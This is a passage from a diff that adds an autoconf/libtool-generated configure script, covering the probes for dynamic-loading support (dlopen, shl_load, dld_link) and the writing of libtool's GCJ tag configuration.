>&6 +fi + ;; + *) + echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6 + ;; + esac +fi + +if test "x$enable_dlopen" != xyes; then + enable_dlopen=unknown + enable_dlopen_self=unknown + enable_dlopen_self_static=unknown +else + lt_cv_dlopen=no + lt_cv_dlopen_libs= + + case $host_os in + beos*) + lt_cv_dlopen="load_add_on" + lt_cv_dlopen_libs= + lt_cv_dlopen_self=yes + ;; + + mingw* | pw32*) + lt_cv_dlopen="LoadLibrary" + lt_cv_dlopen_libs= + ;; + + cygwin*) + lt_cv_dlopen="dlopen" + lt_cv_dlopen_libs= + ;; + + darwin*) + # if libdl is installed we need to link against it + echo "$as_me:$LINENO: checking for dlopen in -ldl" >&5 +echo $ECHO_N "checking for dlopen in -ldl... $ECHO_C" >&6 +if test "${ac_cv_lib_dl_dlopen+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-ldl $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any gcc2 internal prototype to avoid an error. */ +#ifdef __cplusplus +extern "C" +#endif +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char dlopen (); +int +main () +{ +dlopen (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_dl_dlopen=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +ac_cv_lib_dl_dlopen=no +fi +rm -f conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +echo "$as_me:$LINENO: result: $ac_cv_lib_dl_dlopen" >&5 +echo "${ECHO_T}$ac_cv_lib_dl_dlopen" >&6 +if test $ac_cv_lib_dl_dlopen = yes; then + lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl" +else + + lt_cv_dlopen="dyld" + lt_cv_dlopen_libs= + lt_cv_dlopen_self=yes + +fi + + ;; + + *) + echo "$as_me:$LINENO: checking for shl_load" >&5 +echo $ECHO_N "checking for shl_load... $ECHO_C" >&6 +if test "${ac_cv_func_shl_load+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +/* Define shl_load to an innocuous variant, in case <limits.h> declares shl_load. + For example, HP-UX 11i <limits.h> declares gettimeofday. */ +#define shl_load innocuous_shl_load + +/* System header to define __stub macros and hopefully few prototypes, + which can conflict with char shl_load (); below. + Prefer <limits.h> to <assert.h> if __STDC__ is defined, since + <limits.h> exists even on freestanding compilers. */ + +#ifdef __STDC__ +# include <limits.h> +#else +# include <assert.h> +#endif + +#undef shl_load + +/* Override any gcc2 internal prototype to avoid an error. */ +#ifdef __cplusplus +extern "C" +{ +#endif +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char shl_load (); +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_shl_load) || defined (__stub___shl_load) +choke me +#else +char (*f) () = shl_load; +#endif +#ifdef __cplusplus +} +#endif + +int +main () +{ +return f != shl_load; + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_func_shl_load=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +ac_cv_func_shl_load=no +fi +rm -f conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +fi +echo "$as_me:$LINENO: result: $ac_cv_func_shl_load" >&5 +echo "${ECHO_T}$ac_cv_func_shl_load" >&6 +if test $ac_cv_func_shl_load = yes; then + lt_cv_dlopen="shl_load" +else + echo "$as_me:$LINENO: checking for shl_load in -ldld" >&5 +echo $ECHO_N "checking for shl_load in -ldld... $ECHO_C" >&6 +if test "${ac_cv_lib_dld_shl_load+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-ldld $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any gcc2 internal prototype to avoid an error. */ +#ifdef __cplusplus +extern "C" +#endif +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char shl_load (); +int +main () +{ +shl_load (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_dld_shl_load=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +ac_cv_lib_dld_shl_load=no +fi +rm -f conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +echo "$as_me:$LINENO: result: $ac_cv_lib_dld_shl_load" >&5 +echo "${ECHO_T}$ac_cv_lib_dld_shl_load" >&6 +if test $ac_cv_lib_dld_shl_load = yes; then + lt_cv_dlopen="shl_load" lt_cv_dlopen_libs="-dld" +else + echo "$as_me:$LINENO: checking for dlopen" >&5 +echo $ECHO_N "checking for dlopen... $ECHO_C" >&6 +if test "${ac_cv_func_dlopen+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +/* Define dlopen to an innocuous variant, in case <limits.h> declares dlopen. + For example, HP-UX 11i <limits.h> declares gettimeofday. */ +#define dlopen innocuous_dlopen + +/* System header to define __stub macros and hopefully few prototypes, + which can conflict with char dlopen (); below. + Prefer <limits.h> to <assert.h> if __STDC__ is defined, since + <limits.h> exists even on freestanding compilers. */ + +#ifdef __STDC__ +# include <limits.h> +#else +# include <assert.h> +#endif + +#undef dlopen + +/* Override any gcc2 internal prototype to avoid an error. */ +#ifdef __cplusplus +extern "C" +{ +#endif +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char dlopen (); +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_dlopen) || defined (__stub___dlopen) +choke me +#else +char (*f) () = dlopen; +#endif +#ifdef __cplusplus +} +#endif + +int +main () +{ +return f != dlopen; + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_func_dlopen=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +ac_cv_func_dlopen=no +fi +rm -f conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +fi +echo "$as_me:$LINENO: result: $ac_cv_func_dlopen" >&5 +echo "${ECHO_T}$ac_cv_func_dlopen" >&6 +if test $ac_cv_func_dlopen = yes; then + lt_cv_dlopen="dlopen" +else + echo "$as_me:$LINENO: checking for dlopen in -ldl" >&5 +echo $ECHO_N "checking for dlopen in -ldl... $ECHO_C" >&6 +if test "${ac_cv_lib_dl_dlopen+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-ldl $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any gcc2 internal prototype to avoid an error. */ +#ifdef __cplusplus +extern "C" +#endif +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char dlopen (); +int +main () +{ +dlopen (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_dl_dlopen=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +ac_cv_lib_dl_dlopen=no +fi +rm -f conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +echo "$as_me:$LINENO: result: $ac_cv_lib_dl_dlopen" >&5 +echo "${ECHO_T}$ac_cv_lib_dl_dlopen" >&6 +if test $ac_cv_lib_dl_dlopen = yes; then + lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl" +else + echo "$as_me:$LINENO: checking for dlopen in -lsvld" >&5 +echo $ECHO_N "checking for dlopen in -lsvld... $ECHO_C" >&6 +if test "${ac_cv_lib_svld_dlopen+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-lsvld $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any gcc2 internal prototype to avoid an error. */ +#ifdef __cplusplus +extern "C" +#endif +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char dlopen (); +int +main () +{ +dlopen (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_svld_dlopen=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +ac_cv_lib_svld_dlopen=no +fi +rm -f conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +echo "$as_me:$LINENO: result: $ac_cv_lib_svld_dlopen" >&5 +echo "${ECHO_T}$ac_cv_lib_svld_dlopen" >&6 +if test $ac_cv_lib_svld_dlopen = yes; then + lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-lsvld" +else + echo "$as_me:$LINENO: checking for dld_link in -ldld" >&5 +echo $ECHO_N "checking for dld_link in -ldld... $ECHO_C" >&6 +if test "${ac_cv_lib_dld_dld_link+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-ldld $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any gcc2 internal prototype to avoid an error. */ +#ifdef __cplusplus +extern "C" +#endif +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char dld_link (); +int +main () +{ +dld_link (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_dld_dld_link=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +ac_cv_lib_dld_dld_link=no +fi +rm -f conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +echo "$as_me:$LINENO: result: $ac_cv_lib_dld_dld_link" >&5 +echo "${ECHO_T}$ac_cv_lib_dld_dld_link" >&6 +if test $ac_cv_lib_dld_dld_link = yes; then + lt_cv_dlopen="dld_link" lt_cv_dlopen_libs="-dld" +fi + + +fi + + +fi + + +fi + + +fi + + +fi + + ;; + esac + + if test "x$lt_cv_dlopen" != xno; then + enable_dlopen=yes + else + enable_dlopen=no + fi + + case $lt_cv_dlopen in + dlopen) + save_CPPFLAGS="$CPPFLAGS" + test "x$ac_cv_header_dlfcn_h" = xyes && CPPFLAGS="$CPPFLAGS -DHAVE_DLFCN_H" + + save_LDFLAGS="$LDFLAGS" + eval LDFLAGS=\"\$LDFLAGS $export_dynamic_flag_spec\" + + save_LIBS="$LIBS" + LIBS="$lt_cv_dlopen_libs $LIBS" + + echo "$as_me:$LINENO: checking whether a program can dlopen itself" >&5 +echo $ECHO_N "checking whether a program can dlopen itself... $ECHO_C" >&6 +if test "${lt_cv_dlopen_self+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test "$cross_compiling" = yes; then : + lt_cv_dlopen_self=cross +else + lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2 + lt_status=$lt_dlunknown + cat > conftest.$ac_ext <<EOF +#line 18142 "configure" +#include "confdefs.h" + +#if HAVE_DLFCN_H +#include <dlfcn.h> +#endif + +#include <stdio.h> + +#ifdef RTLD_GLOBAL +# define LT_DLGLOBAL RTLD_GLOBAL +#else +# ifdef DL_GLOBAL +# define LT_DLGLOBAL DL_GLOBAL +# else +# define LT_DLGLOBAL 0 +# endif +#endif + +/* We may have to define LT_DLLAZY_OR_NOW in the command line if we + find out it does not work in some platform. */ +#ifndef LT_DLLAZY_OR_NOW +# ifdef RTLD_LAZY +# define LT_DLLAZY_OR_NOW RTLD_LAZY +# else +# ifdef DL_LAZY +# define LT_DLLAZY_OR_NOW DL_LAZY +# else +# ifdef RTLD_NOW +# define LT_DLLAZY_OR_NOW RTLD_NOW +# else +# ifdef DL_NOW +# define LT_DLLAZY_OR_NOW DL_NOW +# else +# define LT_DLLAZY_OR_NOW 0 +# endif +# endif +# endif +# endif +#endif + +#ifdef __cplusplus +extern "C" void exit (int); +#endif + +void fnord() { int i=42;} +int main () +{ + void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW); + int status = $lt_dlunknown; + + if (self) + { + if (dlsym (self,"fnord")) status = $lt_dlno_uscore; + else if (dlsym( self,"_fnord")) status = $lt_dlneed_uscore; + /* dlclose (self); */ + } + + exit (status); +} +EOF + if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && test -s conftest${ac_exeext} 2>/dev/null; then + (./conftest; exit; ) 2>/dev/null + lt_status=$? + case x$lt_status in + x$lt_dlno_uscore) lt_cv_dlopen_self=yes ;; + x$lt_dlneed_uscore) lt_cv_dlopen_self=yes ;; + x$lt_unknown|x*) lt_cv_dlopen_self=no ;; + esac + else : + # compilation failed + lt_cv_dlopen_self=no + fi +fi +rm -fr conftest* + + +fi +echo "$as_me:$LINENO: result: $lt_cv_dlopen_self" >&5 +echo "${ECHO_T}$lt_cv_dlopen_self" >&6 + + if test "x$lt_cv_dlopen_self" = xyes; then + LDFLAGS="$LDFLAGS $link_static_flag" + echo "$as_me:$LINENO: checking whether a statically linked program can dlopen itself" >&5 +echo $ECHO_N "checking whether a statically linked program can dlopen itself... $ECHO_C" >&6 +if test "${lt_cv_dlopen_self_static+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test "$cross_compiling" = yes; then : + lt_cv_dlopen_self_static=cross +else + lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2 + lt_status=$lt_dlunknown + cat > conftest.$ac_ext <<EOF +#line 18240 "configure" +#include "confdefs.h" + +#if HAVE_DLFCN_H +#include <dlfcn.h> +#endif + +#include <stdio.h> + +#ifdef RTLD_GLOBAL +# define LT_DLGLOBAL RTLD_GLOBAL +#else +# ifdef DL_GLOBAL +# define LT_DLGLOBAL DL_GLOBAL +# else +# define LT_DLGLOBAL 0 +# endif +#endif + +/* We may have to define LT_DLLAZY_OR_NOW in the command line if we + find out it does not work in some platform. */ +#ifndef LT_DLLAZY_OR_NOW +# ifdef RTLD_LAZY +# define LT_DLLAZY_OR_NOW RTLD_LAZY +# else +# ifdef DL_LAZY +# define LT_DLLAZY_OR_NOW DL_LAZY +# else +# ifdef RTLD_NOW +# define LT_DLLAZY_OR_NOW RTLD_NOW +# else +# ifdef DL_NOW +# define LT_DLLAZY_OR_NOW DL_NOW +# else +# define LT_DLLAZY_OR_NOW 0 +# endif +# endif +# endif +# endif +#endif + +#ifdef __cplusplus +extern "C" void exit (int); +#endif + +void fnord() { int i=42;} +int main () +{ + void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW); + int status = $lt_dlunknown; + + if (self) + { + if (dlsym (self,"fnord")) status = $lt_dlno_uscore; + else if (dlsym( self,"_fnord")) status = $lt_dlneed_uscore; + /* dlclose (self); */ + } + + exit (status); +} +EOF + if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && test -s conftest${ac_exeext} 2>/dev/null; then + (./conftest; exit; ) 2>/dev/null + lt_status=$? + case x$lt_status in + x$lt_dlno_uscore) lt_cv_dlopen_self_static=yes ;; + x$lt_dlneed_uscore) lt_cv_dlopen_self_static=yes ;; + x$lt_unknown|x*) lt_cv_dlopen_self_static=no ;; + esac + else : + # compilation failed + lt_cv_dlopen_self_static=no + fi +fi +rm -fr conftest* + + +fi +echo "$as_me:$LINENO: result: $lt_cv_dlopen_self_static" >&5 +echo "${ECHO_T}$lt_cv_dlopen_self_static" >&6 + fi + + CPPFLAGS="$save_CPPFLAGS" + LDFLAGS="$save_LDFLAGS" + LIBS="$save_LIBS" + ;; + esac + + case $lt_cv_dlopen_self in + yes|no) enable_dlopen_self=$lt_cv_dlopen_self ;; + *) enable_dlopen_self=unknown ;; + esac + + case $lt_cv_dlopen_self_static in + yes|no) enable_dlopen_self_static=$lt_cv_dlopen_self_static ;; + *) enable_dlopen_self_static=unknown ;; + esac +fi + + +# The else clause should only fire when bootstrapping the +# libtool distribution, otherwise you forgot to ship ltmain.sh +# with your package, and you will get complaints that there are +# no rules to generate ltmain.sh. +if test -f "$ltmain"; then + # See if we are running on zsh, and set the options which allow our commands through + # without removal of \ escapes. + if test -n "${ZSH_VERSION+set}" ; then + setopt NO_GLOB_SUBST + fi + # Now quote all the things that may contain metacharacters while being + # careful not to overquote the AC_SUBSTed values. We take copies of the + # variables and quote the copies for generation of the libtool script. + for var in echo old_CC old_CFLAGS AR AR_FLAGS EGREP RANLIB LN_S LTCC NM \ + SED SHELL STRIP \ + libname_spec library_names_spec soname_spec extract_expsyms_cmds \ + old_striplib striplib file_magic_cmd finish_cmds finish_eval \ + deplibs_check_method reload_flag reload_cmds need_locks \ + lt_cv_sys_global_symbol_pipe lt_cv_sys_global_symbol_to_cdecl \ + lt_cv_sys_global_symbol_to_c_name_address \ + sys_lib_search_path_spec sys_lib_dlsearch_path_spec \ + old_postinstall_cmds old_postuninstall_cmds \ + compiler_GCJ \ + CC_GCJ \ + LD_GCJ \ + lt_prog_compiler_wl_GCJ \ + lt_prog_compiler_pic_GCJ \ + lt_prog_compiler_static_GCJ \ + lt_prog_compiler_no_builtin_flag_GCJ \ + export_dynamic_flag_spec_GCJ \ + thread_safe_flag_spec_GCJ \ + whole_archive_flag_spec_GCJ \ + enable_shared_with_static_runtimes_GCJ \ + old_archive_cmds_GCJ \ + old_archive_from_new_cmds_GCJ \ + predep_objects_GCJ \ + postdep_objects_GCJ \ + predeps_GCJ \ + postdeps_GCJ \ + compiler_lib_search_path_GCJ \ + archive_cmds_GCJ \ + archive_expsym_cmds_GCJ \ + postinstall_cmds_GCJ \ + postuninstall_cmds_GCJ \ + old_archive_from_expsyms_cmds_GCJ \ + allow_undefined_flag_GCJ \ + no_undefined_flag_GCJ \ + export_symbols_cmds_GCJ \ + hardcode_libdir_flag_spec_GCJ \ + hardcode_libdir_flag_spec_ld_GCJ \ + hardcode_libdir_separator_GCJ \ + hardcode_automatic_GCJ \ + module_cmds_GCJ \ + module_expsym_cmds_GCJ \ + lt_cv_prog_compiler_c_o_GCJ \ + exclude_expsyms_GCJ \ + include_expsyms_GCJ; do + + case $var in + old_archive_cmds_GCJ | \ + old_archive_from_new_cmds_GCJ | \ + archive_cmds_GCJ | \ + archive_expsym_cmds_GCJ | \ + module_cmds_GCJ | \ + module_expsym_cmds_GCJ | \ + old_archive_from_expsyms_cmds_GCJ | \ + export_symbols_cmds_GCJ | \ + extract_expsyms_cmds | reload_cmds | finish_cmds | \ + postinstall_cmds | postuninstall_cmds | \ + old_postinstall_cmds | old_postuninstall_cmds | \ + sys_lib_search_path_spec | sys_lib_dlsearch_path_spec) + # Double-quote double-evaled strings. + eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$double_quote_subst\" -e \"\$sed_quote_subst\" -e \"\$delay_variable_subst\"\`\\\"" + ;; + *) + eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$sed_quote_subst\"\`\\\"" + ;; + esac + done + + case $lt_echo in + *'\$0 --fallback-echo"') + lt_echo=`$echo "X$lt_echo" | $Xsed -e 's/\\\\\\\$0 --fallback-echo"$/$0 --fallback-echo"/'` + ;; + esac + +cfgfile="$ofile" + + cat <<__EOF__ >> "$cfgfile" +# ### BEGIN LIBTOOL TAG CONFIG: $tagname + +# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`: + +# Shell to use when invoking shell scripts. +SHELL=$lt_SHELL + +# Whether or not to build shared libraries. +build_libtool_libs=$enable_shared + +# Whether or not to build static libraries. +build_old_libs=$enable_static + +# Whether or not to add -lc for building shared libraries. +build_libtool_need_lc=$archive_cmds_need_lc_GCJ + +# Whether or not to disallow shared libs when runtime libs are static +allow_libtool_libs_with_static_runtimes=$enable_shared_with_static_runtimes_GCJ + +# Whether or not to optimize for fast installation. +fast_install=$enable_fast_install + +# The host system. +host_alias=$host_alias +host=$host + +# An echo program that does not interpret backslashes. +echo=$lt_echo + +# The archiver. +AR=$lt_AR +AR_FLAGS=$lt_AR_FLAGS + +# A C compiler. +LTCC=$lt_LTCC + +# A language-specific compiler. +CC=$lt_compiler_GCJ + +# Is the compiler the GNU C compiler? +with_gcc=$GCC_GCJ + +# An ERE matcher. +EGREP=$lt_EGREP + +# The linker used to build libraries. +LD=$lt_LD_GCJ + +# Whether we need hard or soft links. +LN_S=$lt_LN_S + +# A BSD-compatible nm program. +NM=$lt_NM + +# A symbol stripping program +STRIP=$lt_STRIP + +# Used to examine libraries when file_magic_cmd begins "file" +MAGIC_CMD=$MAGIC_CMD + +# Used on cygwin: DLL creation program. +DLLTOOL="$DLLTOOL" + +# Used on cygwin: object dumper. +OBJDUMP="$OBJDUMP" + +# Used on cygwin: assembler. +AS="$AS" + +# The name of the directory that contains temporary libtool files. +objdir=$objdir + +# How to create reloadable object files. +reload_flag=$lt_reload_flag +reload_cmds=$lt_reload_cmds + +# How to pass a linker flag through the compiler. +wl=$lt_lt_prog_compiler_wl_GCJ + +# Object file suffix (normally "o"). +objext="$ac_objext" + +# Old archive suffix (normally "a"). +libext="$libext" + +# Shared library suffix (normally ".so"). +shrext_cmds='$shrext_cmds' + +# Executable file suffix (normally ""). +exeext="$exeext" + +# Additional compiler flags for building library objects. +pic_flag=$lt_lt_prog_compiler_pic_GCJ +pic_mode=$pic_mode + +# What is the maximum length of a command? +max_cmd_len=$lt_cv_sys_max_cmd_len + +# Does compiler simultaneously support -c and -o options? +compiler_c_o=$lt_lt_cv_prog_compiler_c_o_GCJ + +# Must we lock files when doing compilation ? +need_locks=$lt_need_locks + +# Do we need the lib prefix for modules? +need_lib_prefix=$need_lib_prefix + +# Do we need a version for libraries? +need_version=$need_version + +# Whether dlopen is supported. +dlopen_support=$enable_dlopen + +# Whether dlopen of programs is supported. +dlopen_self=$enable_dlopen_self + +# Whether dlopen of statically linked programs is supported. +dlopen_self_static=$enable_dlopen_self_static + +# Compiler flag to prevent dynamic linking. +link_static_flag=$lt_lt_prog_compiler_static_GCJ + +# Compiler flag to turn off builtin functions. +no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag_GCJ + +# Compiler flag to allow reflexive dlopens. +export_dynamic_flag_spec=$lt_export_dynamic_flag_spec_GCJ + +# Compiler flag to generate shared objects directly from archives. 